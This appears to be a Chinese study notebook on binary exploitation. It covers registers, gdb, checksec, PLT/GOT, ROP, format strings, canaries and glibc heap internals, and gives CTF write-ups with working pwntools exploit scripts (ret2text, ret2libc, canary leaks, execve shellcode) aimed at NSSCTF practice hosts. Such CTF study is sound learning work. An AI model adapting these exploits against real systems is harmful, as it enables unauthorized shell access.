PWN

40 分钟

寄存器简述

寄存器描述(L高8位、H低8位)
AX(AL、AH)累加器,用作累加器进行算术运算和I/O操作(AL高8位、AH低8位)
BX(BL、BH)基址寄存器,用作内存寻址时的基地址指针
CX(CL、CH)计数寄存器,循环中的计数器或作为某些指令的隐含参数
DX(DL、DH)数据寄存器,用于存放I/O端口地址
EAX、EBX、ECX、EDX上述32位的扩展版本,提供更大的数值范围
ESI、EDI源索引目标索引,用于字符串和数组操作,分别指向源数据和目的数据的位置
ESP、EBP堆栈指针:指向当前堆栈顶部,基址指针:保存函数调用前的堆栈帧指针,方便访问局部变量和参数
CS、DS、SS、ES、FS、GS代码段数据端堆栈段附加段:字符串操作的目标地址、段寄存器:额外的段寄存器
FLAGS标志寄存器:反映最近指令执行结果的状态标志和控制CPU行为的控制标志
IP指令指针寄存器:指示下一条要执行的指令的地址
  • AX/AL/AH:常用于快速的数学运算,如加法、减法、乘法和除法。
  • BX/BL/BH:用于内存寻址,特别是间接寻址模式。
  • CX/CL/CH:用作计数器,特别是在循环结构中。
  • DX/DL/DH:配合AX用于多精度算术运算,以及I/O端口地址。
  • EAX, EBX, ECX, EDX:在32位模式下,它们提供了更大的数值范围,适用于更复杂的运算。
  • ESI, EDI:用于高效地处理字符串或数组。
  • ESP, EBP:管理函数调用和局部变量的堆栈操作。
  • 段寄存器:由于使用了分页机制,其作用有所减弱。
  • FLAGS/EFLAGS/RFLAGS:用于条件判断和控制流转移。
  • IP/EIP/RIP:控制程序的执行流程,决定了下一条指令的位置。

汇编指令简述

指令中文名描述
MOV传送指令将数据从源地址传送到目的地址,两存储单元[]、段存储器(CS、DS、SS、ES、IP)不能直接传送数据,立即数不能当作操作数。
PUSH/POP进栈/出栈将寄存器中的数据入栈/寄存器接收栈数据
XCHG交换寄存器寄存器寄存器内存变量之间交换内容,操作数的数据类型要相同
IN/OUT输入/输出通过专门的端口进行读写指令完成对外设的操作
XLAT换码在寄存器中保存数组的首地址或将返回值送入到寄存器当中
LEA有效地址计算一个有效地址(即相对于某个段基址的偏移量),并将其加载到目标寄存器中,而不是加载该地址处的内容
LDS远指针加载远指针(即包括段地址和偏移地址的组合),其中段地址被加载到DS 段寄存器中,偏移地址则被加载到指定的目标寄存器中
LES远指针加载远指针(即包括段地址和偏移地址的组合),其中段地址被加载到ES 段寄存器中,偏移地址则被加载到指定的目标寄存器中
LAHF加载标志将FLAGS寄存器中的低8位复制到AH寄存器中。它保存的是处理器状态的一些关键标志位,如符号标志(SF)、零标志(ZF)邓
SAHF恢复标志AH寄存器的内容复制回FLAGS寄存器的低8位。这可以用来恢复之前保存的标志位状态。
PUSHFQ压入堆栈将FLAGS寄存器的内容压入堆栈
POPFQ获取标志从堆栈弹出一个字并将其写入FLAGS寄存器
ADD加法将两个操作数相加,并将结果存储在第一个操作数的位置。
ADC进位加法将两个操作数相加,并加上进位标志(CF)的值,然后将结果存储在第一个操作数的位置。
INC加1将指定的操作数加1(不包括进位标志CF)
DEC减1将指定的操作数减1(不包括进位标志CF)
SUB减法从第一个操作数中减去第二个操作数
SBB标志减法从第一个操作数中减去第二个操作数以及进位标志(CF)
NEG补码对操作数求补码(即取负)
CMP对比比较两个操作数(不存储结果,仅更新状态标志以供后续条件跳转使用)
MUL乘法无符号乘法
DIV除法无符号除法
CBW数据转换AL中的有符号字节扩展为AX中的有符号字
SHL逻辑左移逻辑左移
SAL算术左移等同于SHL
SHR逻辑右移逻辑右移
SAR算术右移将目标操作数向右移动指定次数,空出的位置复制最左边的位(保持符号),最右边的位移到CF中
ROL循环左移将目标操作数向左循环移动指定次数,最左边的位移到最右边的位置,同时也移到CF中
ROR循环右移将目标操作数向右循环移动指定次数,最右边的位移到最左边的位置,同时也移到CF中
RCL进循左移将目标操作数连同CF一起向左循环移动指定次数,最左边的位移到CF中,而CF的旧值移到最右边的位置
RCR进循右移将目标操作数连同CF一起向右循环移动指定次数,最右边的位移到CF中,而CF的旧值移到最左边的位置
立即数 :指直接写在指令中的数值常量。它不是存储在内存中的值,也不是寄存器里的值,而是作为指令的一部分被直接编码到机器代码中的值

gdb

运行

  • run:其作用是运行程序,当遇到断点后,程序会在断点处停止运行,等待用户输入下一步的命令。
  • continue :继续执行,到下一个断点处(或运行结束)
  • next:单步跟踪程序,当遇到函数调用时,也不进入此函数体;此命令同 step 的主要区别是,step 遇到用户自定义的函数,将步进到函数中去运行,而 next 则直接调用函数,不会进入到函数体内。
  • step:单步调试如果有函数调用,则进入函数;
  • until:当你厌倦了在一个循环体内单步跟踪时,这个命令可以运行程序直到退出循环体。
  • until+行号: 运行至某行,不仅仅用来跳出循环
  • finish: 运行程序,直到当前函数完成返回,并打印函数返回时的堆栈地址和返回值及参数值等信息。
  • call 函数:调用程序中可见的函数,并传递“参数”
  • quit:简记为 q ,退出gdb

设置断点

  • break n:在第n行处设置断点
  • b fn1 if a>b:条件断点设置
  • break func:在函数func()的入口处设置断点
  • delete n:删除第n个断点
  • disable n:暂停第n个断点,暂时不会起作用,但是不会删除。
  • enable n:开启第n个断点
  • clear n:清除第n行的断点
  • info b:显示当前程序的断点设置情况
  • delete breakpoints:清除所有断点

查看源代码

  • list :其作用就是列出程序的源代码,默认每次显示10行。
  • list n:将显示当前文件以n为中心的前后10行代码。
  • list func:将显示func所在函数的源代码
  • list :不带参数,将接着上一次 list 命令的,输出下边的内容。

打印表达式

  • print string:打印任何有效表达式,包括数字、变量、函数调用。
  • display:设置一个表达式,每次单步进行指令后,输出表达式的值
  • watch:设置监视点,一旦监视的表达式被改变,gdb强行终止程序
  • whatis:查询变量或函数
  • info func:查询函数
  • info locals:查看当前堆栈页的所有变量

查询运行信息

  • where :当前运行的堆栈列表;
  • backtrace: 显示当前调用堆栈
  • up/down :改变堆栈显示的深度
  • set args 参数:指定运行时的参数
  • show args:查看设置好的参数
  • info program: 来查看程序的是否在运行,进程号,被暂停的原因。

分割窗口

  • layout:用于分割窗口
  • layout src:显示源代码窗口
  • layout asm:显示反汇编窗口
  • layout regs:显示源代码/反汇编和CPU寄存器窗口
  • layout split:显示源代码和反汇编窗口
  • Ctrl + L:刷新窗口

CheckSec

CheckSec是一个检查二进制文件和共享库安全特性的工具,实现依赖于读取并解析 ELF 文件的头部信息、程序头表、段表、动态段以及符号表等元数据。

  • RELRO:通过检查 .dynamic 段中的条目来判断 RELRO 是否启用。DT_BIND_NOW 标志表示 Full RELRO,确保在加载过程中某些动态链接相关的数据结构(如 GOT 表)被设置为只读。这可以防止攻击者通过修改这些表来重定向函数调用
  • Stack Canary:通过查找特定的编译器插入的符号(如 __stack_chk_fail__intel_security_cookie)来判断是否存在栈保护,栈帧中插入一个特殊的值(称为“canary”),如果这个值在函数返回前被篡改,则说明发生了栈溢出,程序会终止执行以防止潜在的攻击。
  • NX :通过检查 ELF 文件的程序头表中是否有 PF_X(可执行权限)标记在数据段上来确定 NX 是否启用,将内存划分为可执行和不可执行区域。这样即使攻击者能够注入恶意代码,也无法直接执行这段代码,因为它位于非可执行区域。
  • PIE:通过检查 ELF 文件头部的 e_type 字段是否为 ET_DYN 来判断 PIE 是否启用。对于静态链接的可执行文件,此字段通常为 ET_EXEC,整个可执行文件都被编译成位置无关代码,允许程序在加载时随机化其地址空间。
  • SHSTK和 IBT:通过检查 .note.gnu.property 段或 .note.intel 段中的属性来确定这些 Intel CET 特性是否启用,维护了一个与普通栈并行的影子栈,专门用于存储返回地址。每次函数调用或返回时都会检查两个栈是否一致,如果不一致则认为发生了攻击行为。
  • RELRO是一种保护机制,它确保在加载过程中某些动态链接相关的数据结构(如 GOT 表)被设置为只读。这可以防止攻击者通过修改这些表来重定向函数调用。
  • Full RELRO 意味着不仅在启动时将 GOT 表设为只读,而且延迟绑定也被禁用,所有符号都在启动时解析完成,进一步增强了安全性。

PLT与GOT

ASLR防御机制:为了防止缓存区溢出和其他代码注入的攻击,出现了一种ASLR防御机制,这种机制的核心就是每次在加载和执行程序时,程序中的堆栈、共享库等基地址不是固定的,会随机变化,使得难以预测特定函数或变量的确切内存位置,从而增加了利用内存破坏型漏洞的难度,这种防御机制可以从不同的颗粒度中实现,这类实现与标题中的.plt.got表有密切的联系。

  • 进程级别的随机化:每个新启动的进程都有其唯一的地址空间布局。
  • 库级别的随机化:动态链接库(.so文件等)的加载地址被随机化。
  • 栈和堆的随机化:栈和堆的起始地址也被随机化,以增加不可预测

延迟绑定机制:ELF文件中,为了优化启动时间节省内存资源提高行能等,在程序启动时,并不是所有的函数都会被立即调用,而是当首次调用某个函数时才会对该函数进行解析(即解析该函数的地址),函数的调用正是由PLTGOT进行管理,通过PLTGOT表实现了这一机制。

延迟绑定流程

  1. PLT表跳转:首次调用时,程序会跳转到PLT表的函数入口,入口中的指令会进一步跳转到GOT表中相应的项。
  2. GOT表未解析状态:如果是首次调用,GOT表中的内容是PLT表中的某个偏移值,程序会再次跳转到PLT中预定义处理函数地址
  3. 动态解析:通过动态链接器(_dl_runtime_resolve),程序会解析出函数的实际地址,并存储在GOT表中,后续函数的调用直接使用该地址。

下面简单看一下流程:

查看PLT表,可以看到它存储了几个函数,地址从0x400460-0x4004b0

pwndbg> plt
Section .plt 0x400460-0x4004b0:
0x400470: puts@plt
0x400480: system@plt
0x400490: read@plt
0x4004a0: __libc_start_main@plt

查看system@plt,间接跳转到了0x601020 <system@got.plt>当中

pwndbg> x/4i 0x400480
   0x400480 <system@plt>:       jmp    QWORD PTR [rip+0x200b9a]        # 0x601020 <system@got.plt>
   0x400486 <system@plt+6>:     push   0x1
   0x40048b <system@plt+11>:    jmp    0x400460
   0x400490 <read@plt>: jmp    QWORD PTR [rip+0x200b92]        # 0x601028 <read@got.plt>

<system@got.plt>中,system的函数的初始值是PLT表中的 0x400486 <system@plt+6>

pwndbg> x/a 0x601020
0x601020 <system@got.plt>:      0x400486 <system@plt+6>

PLT表当中,<system@plt+6>开始于0x400486push 0x1对应system函数在PLT表中的唯一索引,通过jmp跳转到PLT[0],传递给动态链接器进行符号解析,动态链接器解析后会将真实地址写入到GOT表当中。

pwndbg> x/5i 0x400486
   0x400486 <system@plt+6>:     push   0x1
   0x40048b <system@plt+11>:    jmp    0x400460

为什么要了解PLTGOT表?当环境中没有直接给出类似system的命令执行函数,而且ret2syscall方法又没有时候,就需要通过GOTPLT获取基地址,通过基地址+偏移量的形式调用libc当中的特定函数。

ROP

ROP将源程序中散落的汇编程序片段拼接在一起,通过复写返回地址让它们在逻辑上连续执行,使得程序能够执行指定的恶意汇编指令,ret2shellcode即是一种特殊的ROP,能够通过控制执行流使得shellcode被写入到内存当中,这种写入shellcode的操作在x32x64当中有所不同。

mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80
eax寄存器加载0xb即11,在Linux32的系统调用表当中,这个值对应的是execve,随后给ebx等寄存器进行赋值,最终通过int 0x80触发系统调用,完成execve("/bin/sh")的命令执行。因此可以通过寻找散落的pop eax|ret等指令,逐步按顺序复写对寄存器进行赋值,构造出一串连续且完整的指令序列,最终达到目的。
_start:
    jmp short string        ; 跳转到字符串部分
execute:
    pop rdi                 ; 从栈中弹出 "/bin/sh" 的地址到 rdi
    xor esi, esi            ; 清空 rsi
    xor edx, edx            ; 清空 rdx
    mov al, 59              ; 设置 execve系统调用号
    syscall                 ; 触发系统调用
string:
    call execute            ; 调用 execute 标签,将 "/bin/sh" 地址压入栈
    db '/bin/sh', 0         ; 定义字符串 "/bin/sh" 并以 null 结尾
x64位系统当中,进行ret2shellcode主要控制的是rdi、esi、edx等寄存器,与x32位系统存在一定的差异。

1735954971805

1735956236690

整个payload为:

from pwn import *
context.log_level = "debug"
p=process("./ret2syscall")
paylod1=b'A'*112+p32(0x080bb196)+p32(0xb)+p32(0x0806eb90)+p32(0x0)+p32(0x0)+p32(0x080be408)+p32(0x08049421)
p.sendline(payload)
p.interactive()

这里需要说一下112是怎么来的,从栈中可以看到ebp的地址为0xffffd438esp地址为0xffffd3cc,差为108,还要覆盖掉ebp_of_caller的4字节,最终为112。这里断点可以通过disassemble查看偏移来断。

1735958053699

格式化字符串漏洞

在很多的编程语言中,为了方便将特定格式的字符串输出到屏幕当中,都能够通过某个函数进行格式化输出,比如PythonformatC语言当中的printf,而在printf当中,因为printf不会检查格式化字符串的占位符与所给参数的数目是否相等,导致了通过printf可以获取或写入其它栈中的数据,这与使用的格式化字符息息相关。

常用于进行格式化字符串漏洞的参数:

%p:以指针的形式输出地址

k$:指定第k个参数输出

%n:将已打印的字符数量写入到指定的整数变量当中

#include <stdio.h>
int main()
{
    int a=10;
    printf("%3$p\n");
    return 0;
}
在这一段代码中,会发现printf输出了某个0x的地址,事实上就是以指针的形式输出了第3个参数的地址,c语言会默认将参数倒序压入栈中,某个参数的首地址是ebp+(2+n)*sizeo(word),其中2ebp_of_caller、return_addressprintf识别到你输入的是%3$p后,程序实际调用上只有格式化字符串本身一个参数,没有足够的参数,printf就会从堆栈中读取额外的数据来满足这个要求。

image-20250103162847511

x86_64架构中,要确认参数的具体位置,与上面的架构有些许不同,前6个实参保存在寄存器中:

第1个实参保存在RDI中;
第2个实参保存在RSI中;
第3个实参保存在RDX中;
第4个实参保存在RCX中;
第5个实参保存在R8中;
第6个实参保存在R9中。
剩余的参数保存在栈中

ret2ShellCode

ret2shellcode指攻击者需要调用shellcode机器码,通过复写return_address从而使得恶意程序能写入内存,此处的内存必须是可写、可执行的段,因此写入shellcode的地方也需要灵活选择,

  1. 在栈中写入shellcode:但由于部分内存段设置为不可置执行、地址随机偏移、Cannary防护等防御手段,因此使得通过栈写入shellcode变的十分困难。
  2. bss段写入shellcodebss段用于保存没有初始值的全局变量或静态变量,可以向bss段将shellcode写入到全局变量中。
  3. data段写入shellcodedata段用于保存初始化了的全局变量和静态变量
  4. heap段写入shellcodeheap段用于保存通过动态内存分配产生的变量,可以将shellcode写入至动态分配的变量中。

Canary

Cannary是一种关于栈溢出的保护措施,原理在内存中的某处复制一个随机数canary,该随机数会在创建栈的时候跟着rbp入栈,当函数退出栈的时候,会对比栈中的canary是否不变,如果不一致,则会进入到_stack_chk_fail函数当中,从而终止掉程序。

1735958978501

查看Canary的反编译的情况:

1735959472932

可以看到从线程控制块当中fs:0x28获取栈的保护值,随后放到了[rbp-0x8]的位置当中,当程序准备退出的时候,通过sub[rbp-0x8]fs:0x28做减法,如果为0,则继续执行,否则跳转到_stack_chk_fail函数当中,这里的je指令通过eflags寄存器的ZF标志位判断的

Eflags寄存器的标志位如下:

  • CF (Carry Flag):进位/借位标志。
  • PF (Parity Flag):奇偶标志。
  • AF (Adjust Flag):调整标志。
  • ZF (Zero Flag):零标志,当最近的操作结果为零时设置。
  • SF (Sign Flag):符号标志,当最近的操作结果为负数时设置。
  • TF (Trap Flag):陷阱标志,用于单步调试。
  • IF (Interrupt Flag):中断允许标志。
  • DF (Direction Flag):方向标志。
  • OF (Overflow Flag):溢出标志。

刷题笔记

[SWPUCTF 2021 新生赛]gift_pwn

用ida64位进行反编译,可以看到这个是栈溢出的题目,定义了16字节变量,在read读取变量类型的时候,分配的地址是0x64100个字节,所以存在栈溢出的问题。

1735135662426

在gift函数中可以看到,直接调用call执行了system函数,将/bin/sh通过参数传到了里面。

1735135799509

整个payload如下:

from pwn import *
p = remote('node4.anna.nssctf.cn',28325)
payload = b'a' * 0x10+8 + p64(0x4005b6)
p.send(payload)
p.interactive()
通过a填充满原来的16位地址,额外8字节为了覆盖保存的返回地址,将gift函数溢出执行,获取到shell

假如没有给到gift函数,也可以自己寻找函数和变量,推入寄存器中返回。

1735136038877

1735136062282

payload为,但是这里打环境不通,还需要探究:

from pwn import *
io=remote("node7.anna.nssctf.cn",24854)
padding=0x10+8
system_addr=0x40035D
binsh_addr=0x4006A6
rdi_ret=0x0000000000400673
payload=b'a'*padding+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)
io.send(payload)
io.interactive()

1735136110553

[SWPUCTF 2022 新生赛]有手就行的栈溢出

通过gets函数直接获取输入,因为gets函数获取的时候是不限边界的,所以存在栈溢出,发现在fun函数里面通过execve执行了/bin/sh留下了后门

1735137740292

1735138048154

from  pwn import * 
p=remote("node3.anna.nssctf.cn",28834)
payload=b'a'*(0x20+8)+p64(0x401257)
p.sendline(payload)
p.interactive()

[SWPUCTF 2022 新生赛]shellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  mmap((void *)0x30303000, 0x1000uLL, 7, 50, -1, 0LL);
  read(0, (void *)0x30303000, 0x64uLL);
  MEMORY[0x30303000]();
  return 0;
}

通过调用mmap函数开辟了一个新的内存地址地址,通过read函数读取100字节到0x30303000中,最终以函数的形式调用该地址,可以直接写入shellcode

  • 0x1000uLL:映射 4096 字节(一页)的内存。
  • 7 (PROT_READ | PROT_WRITE | PROT_EXEC):映射区域具有读、写和执行权限。
  • 50 (MAP_ANONYMOUS | MAP_PRIVATE):创建匿名映射,不与任何文件关联,并且对映射区域的修改不会影响其他进程。
  • 0LL:偏移量为 0。
from  pwn import *
context(log_level="debug",arch="amd64")
p=remote("node5.anna.nssctf.cn",25815)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

[LitCTF 2023]狠狠的溢出涅(ret2libc)~

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[91]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int8 v5; // [rsp+6Bh] [rbp-5h]
  int v6; // [rsp+6Ch] [rbp-4h]
  v6 = 0;
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("Leave your message:");
  read(0, buf, 0x200uLL);
  v5 = strlen(buf);
  if ( v5 > 0x50u )
  {
    puts("hacker");
    exit(0);
  }
  puts("Ok,Message Received");
  return 0;
}
  1. read()函数存在栈溢出的漏洞
  2. 使用了strlen判断长度大小,当我们传入的值为\x00时,strlen返回的结果永远为0
  3. 在函数中找不到类似system('/bin/sh')的函数,因此需要从libc中找到函数的实际地址,以基址+偏移量的形式来查找
  4. 要获取到基址,可以通过putsPLT、GOT表实现,从GOT表中拿到puts的实际地址,通过实际地址-偏移量得到基地进而拿到system('/bin/sh')
from pwn import *
context.log_level = "debug"
io = remote('node4.anna.nssctf.cn',28509)
elf = ELF('./LitCTF2023')
libc = ELF('./libc-2.31.so')

pop_rdi_ret = 0x4007d3  #pop rdi ; ret
ret_addr = 0x400556 #ret
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_add = elf.symbols['main']
payload1 = b"\x00"+b'A'*(0x60+7) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendline(payload1)
#puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols["puts"]
system = libc_base + libc.symbols['system']
binsh = libc_base+next(libc.search(b"/bin/sh\x00"))
print(hex(system))
print(hex(binsh))
payload2 = b'\x00'+b'A'*(0x60+7) +p64(ret_addr)+ p64(pop_rdi_ret) +p64(binsh) + p64(system)
io.sendline(payload2)
io.interactive()
  1. pop_rdi_ret:将下一个 8 字节值弹出到 RDI 寄存器中,然后执行 ret
  2. puts_got:这是 puts 函数的 GOT 地址,需要被加载到 RDI 中作为 puts 的参数。
  3. puts_plt:调用 puts 函数,输出 puts 的实际地址。
  4. main_add:返回到 main 函数,以便程序继续执行而不崩溃。

为什么payload2要调用一次ret,是为了保证栈溢出需要ret一下栈平衡

[SWPUCTF 2023 秋季新生赛]guess me

from pwn import *
context.log_level = "debug"
io = remote('node4.anna.nssctf.cn',28984)
io.recvuntil('Welcome! This is a easy game.')
io.recvuntil('If you guessed the number correctly,I will give you a gift.')
low,high=0,100
for i in range(100):
    mid=(low+high)//2
    print(str(mid).encode())
    io.sendlineafter('please guess the num form 0 to 100:',str(mid).encode())
    response=io.recvline().strip()
    print(response)
    if b'big!' in response:
        high=mid
    elif b'small' in response:
        low=mid
    else:
        io.interactive()
        print(mid)
        print(response)

[LitCTF 2023]口算题卡

from pwn import *
context.log_level = "debug"
#p=process("./HNCTF2022-ezr0p64")
io = remote('node4.anna.nssctf.cn',28291)
io.recvuntil('''Welcome to the LitCTF2023 Verbal Problem Card!
You will be presented with 100 addition and subtraction problems.
Your goal is to answer all of them correctly to get the flag!
if you wrong, you will be kicked out of the game.''')
print(io.recvuntil("What is"))
question='What is '+io.recvline().decode()
for _ in range(100):
    print(f"Question:{question}")
    part1 = question.split()[2]
    part2 = question.split()[3]
    part3 = question.split()[4].strip('?')
    result=eval(f"{part1} {part2} {part3}")
    io.sendline(str(result).encode())
    response=io.recvline().strip().decode()
    print(response)
    question=io.recvline().decode()

[BJDCTF 2020]babyrop2(Canary)

通过checksec可以看到开启了CanaryNX保护

unsigned __int64 gift()
{
  char format[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  puts("I'll give u some gift to help u!");
  __isoc99_scanf("%6s", format);
  printf(format);
  puts(byte_400A05);
  fflush(0LL);
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 vuln()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  puts("Pull up your sword and tell me u story!");
  read(0, buf, 0x64uLL);
  return __readfsqword(0x28u) ^ v2;
}
__readfsqword从线程控制块读取栈保护值实现Canary保护,在gift哈桉树中,通过__isoc99_scanf读取了8字节的格式化字符串,在vuln函数当中,初始化了24字节的buf,通过read读取100字节的变量,存在栈溢出,那么如何绕过canary呢?这里因为存在字符串格式化漏洞,可以通过此漏洞查看cannary的值,从而实现绕过。

1、首先通过尝试输入%k$p的形式确定了输入参数的偏移量是6

2、通过输入参数的偏移量确定canary的偏移量,通过字符串溢出漏洞泄露canaary的地址

1735966167896

from pwn import *
context.log_level = 'debug'
#p=process("./BJDCTF2020-babyrop2")
elf=ELF("./BJDCTF2020-babyrop2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=remote('node4.anna.nssctf.cn',28417)
p.recvuntil(b'help u')
canary_payload="%7$p"
p.sendline(canary_payload)
p.recvuntil("0x")
canary_addr=int(p.recv(16),16)
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
vuln_addr=elf.symbols["vuln"]
pop_rdi_addr=0x0000000000400993
ret=0x00000000004005f9
payload1=b'a'*(0x20-8)+p64(canary_addr)+b'a'*0x8+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
p.recvuntil('story!\n')
p.sendline(payload1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
base_addr=puts_addr-libc.symbols["puts"]
system=base_addr+libc.symbols["system"]
bin_sh=base_addr+next(libc.search(b"/bin/sh\x00"))
payload=b'a'*(0x20-8)+p64(canary_addr)+b'a'*0x8+p64(ret)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system)
p.recvuntil('story!\n')
p.sendline(payload)
p.interactive()
这里0x20-8是为了腾出canary的字节位置,后面需要a*0x8是因为canary的位置在rbp-0x8,需要覆盖掉达到return address的位置,其实就是覆盖ebp_of_caller

攻防世界Mary_Marton

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      sub_4008EB();
    }
    if ( v3 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      sub_400960();
    else
      puts("Wrong!");
  }
}
这里通过输入1、2、3从而触发不同的函数
#当输入为2的时候
unsigned __int64 sub_4008EB()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(buf, 0, 0x80uLL);
  read(0, buf, 0x7FuLL);
  printf(buf);
  return __readfsqword(0x28u) ^ v2;
}
#当输入为1的时候
unsigned __int64 sub_400960()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(buf, 0, 0x80uLL);
  read(0, buf, 0x100uLL);
  printf("-> %s\n", buf);
  return __readfsqword(0x28u) ^ v2;
}
int sub_4008DA()
{
  return system("/bin/cat ./flag");
}
当我们输入2的时候,可以看到通过read读取了一个变量,直接通过printf输出了,因此这里存在字符串溢出漏洞,通过aa%k$p的形式可以试探出k=6,因此第一个输出的参数偏移是6v2cannarybug的距离为0x90-0x08136,相隔17个字节的距离,因此cannary整个偏移为23。在触发1的函数中,可以看到read存在栈溢出,可以通过栈溢出覆盖sub_4008DA返回地址获取到shell
from pwn import *

io=process('./mary_morton')
io.recvuntil(b'3. Exit the battle')
io.sendline(b'2')
io.sendline(b'%23$p')
io.recvuntil('0x')
cannary=int(io.recv(16),16)
io.sendline(b'1')
bash_addr=0x4008DA
payload=b'a'*(0x90-8)+p64(cannary)+b'a'*8+p64(bash_addr)
io.sendline(payload)
io.interactive()

堆内存管理介绍

1、无论是那种的内存分配器,都提供了动态内存管理功能,用于替代或增强C库中mallocfree函数:

平台堆内存分配机制备注
General purpose allocatordlmalloc不支持mmap内存映射
glibcptmalloc2在Linux中glibc默认内存分配器,支持多线程堆管理
free BSD and Firefoxjemalloc使用更复杂的桶(bins)和区域(arenas)机制来优化小对象分配
Googletcmalloc使用页表结构来追踪空闲块,支持高效的内存回收
Solarislibumem良好的错误恢复能力,能够在某些情况下自动修复问题

2、在Linux平台上的malloc函数本质上都是通过系统调用brkmmap实现:

image-20250122142525913

  1. brk函数:用于改变进程数据段(即堆)的大小,每个程序启动时,一般是给数据段分配一个固定的大小。随着程序运行,需要增加或减少堆的大小,brk设置了BSS段之间的边界位置,通过调整边界的地址空间调整内存。
  2. mmap函数:内存映射机制,在虚拟地址空间,将文件或设备映射到进程的地址空间中,从而减少文件I/O系统调用readwrite等函数

无论是brk还是mmap,两种分配的都是虚拟内存,而不是物理内存,在Linux2.6.7之前的虚拟内存分布如下:

image-20250122145212124

arena

arena用于每个线程进行堆内存分配,一般每个线程都会对应一个arena用于分配堆内存,arena分为thread arenamain arena(自增的heap),每个堆被分为多个chunk。

arena数量如下:

系统类型arena个数
32bits2 x CPU核心数+1
64bits8 x CPU核心数+1

arena的管理规则:

  1. 主线程调用malloc时会分配一个main arena,当子线程首次调用时,glibc实现的malloc会为每个子线程创建一个新的thread arena
  2. 当子线程需要malloc的个数超过了glibc能维护的arena个数时候,那么如何为该新的子线程分配arena
  3. glibc维护的arena个数不足,会遍历所有可用的arena,尝试加锁该( arena 当前对应的线程并未使用堆内存则表示可加锁),当加锁成功则将arena返回给线程,一起共享使用
  4. 如果没能找到可加锁的arena,那么子线程的malloc会操作阻塞,直至存在可用的arena为止
  5. 如果子线程再次调用malloc(第二次使用arena),那么就会采取就近原则形式(第一次分配的arena),如果不可用,则阻塞直至可用

堆的数据结构

heap_info

thread arena包含多个heap,每个heap的信息都会使用heap_info表示,此处的heap是子线程通过调用mmap从操作系统申请的一块内存空间,main arena包含一个自增的heap

typedef struct _heap_info
{
  mstate ar_ptr;          //表示整个堆状态的数据结构
  struct _heap_info *prev;   //前一个堆实例
  size_t size;                  //堆区域大小(字节为单位)
  size_t mprotect_size;         //表示内存页面的访问权限,PROT_READ|PROT_WRITE
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];  //具有特定对齐属性的填充字段
} heap_info;

malloc_state

malloc_state表示arena的信息,每个线程只含有一个arena headerarena header包含bin、top、chunk、last remainder chunk登信息

struct malloc_state
{
  mutex_t mutex;  //序列化访问
  int flags;
  mfastbinptr fastbinsY[NFASTBINS];
  mchunkptr top;
  mchunkptr last_remainder;     
  mchunkptr bins[NBINS * 2 - 2];
  unsigned int binmap[BINMAPSIZE];   //bin的位图
  struct malloc_state *next;
  struct malloc_state *next_free; //arena链表
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;   //分配的内存
};

malloc_chunk

一个heap会被分为多个chunk,每个chunkmalloc_chunk构成。

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */ /*之前块的大小*/
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */ /*大小以字节为单位,包括开销*/
  struct malloc_chunk* fd;         /* double links -- used only if free. 这两个指针只在free chunk中存在*/
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  /*仅用于大块:指向下一个更大的尺寸*/
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
  1. 主线程的 main arena 的 arena header 并不在堆区中,而是一个全局变量,因此它属于 libc.so 的 data segment 区域。
  2. 主线程的堆在进程的虚拟内存堆区,因此不存在多个heap也没有heap_header,当需要更多空间,通过增长brk指针获取更多空间。

bin

用户释放掉的chunk不会马上归还给系统,ptmalloc会统一管理heapmmap映射区域中的空闲chunk,当用户再请求分配内存,则会从bin当中挑选一块空闲的chunk管理,根据空闲的chunk的大小和使用状态初步分成了四类:fast binssmall binslarge binsunsorted bin,会使用链表将相似的chunk链接,便于管理也降低了内存分配的开销。

